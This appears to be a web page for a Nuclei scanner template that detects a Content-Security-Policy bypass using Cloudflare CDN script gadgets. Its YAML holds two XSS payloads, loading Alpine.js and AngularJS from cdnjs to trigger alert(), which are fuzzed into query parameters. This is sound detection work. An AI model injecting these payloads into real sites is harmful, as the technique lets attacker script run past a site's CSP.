Content-Security-Policy Bypass - Cloudflare CDN

ID: cloudflare-cdn-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,cloudflare-cdn

Description

YAML Source

id: cloudflare-cdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cloudflare CDN
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudflare-cdn

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudflare.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudflare_cdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://cdnjs.cloudflare.com/ajax/libs/alpinejs/3.10.5/cdn.min.js"></script><div x-init="alert(1)">'
        - '<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudflare_cdn_csp_xss == true"
# digest: 4a0a00473045022026bc32022b076261e981d53c1651385050c4e1baeb43babf127cb2245e13077e0221009e14484c34b9dd900df05a1d362368fb6874e7041794d10648f80b60ef885ca5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/cloudflare-cdn-csp-bypass.yaml"

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